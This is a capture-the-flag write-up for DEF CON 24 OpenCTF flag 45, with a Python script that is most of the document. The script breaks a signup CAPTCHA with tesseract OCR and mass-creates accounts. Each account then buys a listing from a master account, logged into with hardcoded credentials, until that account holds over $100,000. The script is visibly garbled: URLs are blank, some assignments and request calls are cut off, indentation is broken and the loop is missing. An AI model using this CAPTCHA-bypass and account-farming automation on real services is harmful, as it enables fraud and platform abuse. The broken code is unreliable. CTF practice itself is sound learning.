Defcon 24 OpenCTF

flag 45 - get $100,000

The Setup:

I wrote a python script that automated registering hundreds of accounts, logging into each account, transferring the initial $500 that the account is created with to the same master account which drove the master account's balance to over $100,000 revealing the flag.

Automating Registering the Accounts:

This part of the challenge required submitting a form repeatedly to spawn hundreds of new accounts. To break the CAPTCHA that was on the form page, I used pytesseract, a python wrapper for tesseract-ocr which is a command line tool that uses optical character recognition to extract the text from the CAPTCHA. After trying 7 or 8 different CAPTCHA breaking libraries, tesseract was the only one that I found that would crack the CAPTCHA out of the box with no training. It is worth noting that it only successfully guessed the CAPTCHA text once in every 8 or 9 guesses, but that was sufficient for this challenge.

The script does a get request to the signup page and parses the response using Beautiful Soup. It extracts django's csrftoken and the url for the CAPTCHA image. The csrftoken, CAPTCHA guess, and a username/password, which are just random UUID generated values, are posted to the signup page.

Logging in and purchasing:

The response from the post request to the signup page is parsed with Beautiful Soup and checked for a Log In form. This is done because a successful registration takes you back to the homepage which has a login form on it. If the registration attempt fails, the response contains the registration form with the errors highlighted, but the error page does not have a login form on it. When the response contains a login page, the username and password from the account that was just created are posted to the login URL.

Once the new account is successfully authenticated, a simple get request to the purchase URL for the item posted is made which transfers the $499 that the new account was created with to the master account. The account is then logged out to terminate the session.

Creating the next item for sale:

Since an item can only be purchased one time, every time an account we spawn purchases an item, a new item must be created for the next account to purchase. This is accomplished by authenticating via a post request to the login page using the credentials from our main account and then making a post request to the create new item page. The URL of the newly created item is then placed in a global variable so the account created during the next iteration of the script can access the newly created purchase URL.

The Script

import Image
import pytesseract
import requests
from bs4 import BeautifulSoup
import urllib, cStringIO
import uuid
import time

# global variable to hold the first item for sale
purchase_URL = ""

def MakeMeMoney():
	# bring the global variable into scope
	global purchase_URL

	# create a session object so we dont have to deal with cookies
	s = requests.Session()

	# get the signup page and parse it with Beautiful Soup
	r = s.get("")
	soup = BeautifulSoup(r.text, 'html.parser')

	# get the hashed value for the captcha image
	id_captcha_0 = soup.find(id='id_captcha_0')['value']

	# build the URL that points to the captcha image and pull a copy of it
	URL = '' + id_captcha_0 + '/'
	file = cStringIO.StringIO(urllib.urlopen(URL).read())
	img =

	# use tesseract to crack the captcha
	captcha = pytesseract.image_to_string(img)

	# get the CSRF middleware token
	csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value']

	# uuid1 is our new accounts username, uuid2 is the password
	uuid1 = uuid.uuid4().__str__()[:15]
	uuid2 = uuid.uuid4().__str__()[:15]

	# use the payload to fill out the form on the signup page and post it
	payload = {'username': uuid1, 'password1': uuid2, 'password2': uuid2, 'captcha_0': id_captcha_0, 'captcha_1': captcha, 'csrfmiddlewaretoken': csrfmiddlewaretoken}
	finalpost ="", data=payload)

	print('post submitted')
	# parse the response with Beautiful Soup
	soup = BeautifulSoup(finalpost.text, 'html.parser')

		# if we failed to create an account, the next line will throw an array out of bounds exception
		if soup.findAll(attrs={"value" : "Log in"})[0] != None:
			print('post was successful')

			# write the username and password to a local file, we dont need to do this, its just nice
			with open("/root/ctf/djangoreg/accounts", "a") as f:
				f.write(uuid1 + ',' + uuid2 + '\n')
			print('successfully wrote username and password to file')

			# get the login page so we can extract the CSRF token from it
			r = s.get("")
			soup = BeautifulSoup(r.text, 'html.parser')
			csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value']

			# build the payload to fill out the form on the login page
			# use the uuid1 and uuid2 variables from the successful account registration
			payload = {'username': uuid1, 'password': uuid2, 'csrfmiddlewaretoken': csrfmiddlewaretoken}
			finalpost1 ="", data=payload)
			print('logged in')

			# perform a get request on the Purchase URL to purchase the item
			x = s.get(purchase_URL)

			# Logout

			print('logged out')

			r = s.get("")
			print('got login page')

			# log back in as the account that is collecting all of the funds
			soup = BeautifulSoup(r.text, 'html.parser')
			csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value']
			payload = {'username': 'makememoney', 'password': 'djangorules', 'csrfmiddlewaretoken': csrfmiddlewaretoken}
			finalpost ="", data=payload)

			print('logged in as makememoney')

			# get the new listing page so we can extract the CSRF token
			abc = s.get("")
			soup = BeautifulSoup(abc.text, 'html.parser')
			csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value']

			# create the payload to fill out the new listing form and create the new listing
			payload = {'name': uuid1, 'details': uuid1, 'csrfmiddlewaretoken': csrfmiddlewaretoken, 'image_src': 'moneymoneymoney', 'cost': '499'}
			finalfinalpost ="", data=payload)

			# save our new item URL as purchase_URL for the next iteration to use
			purchase_URL = finalfinalpost.url + '?buy=1'
			# logout so we can use the session variable to create a new account
			print('new listing created successfully')
		# the tesseract guess failed the captcha, no account created
		print('captcha failed')

# loop forever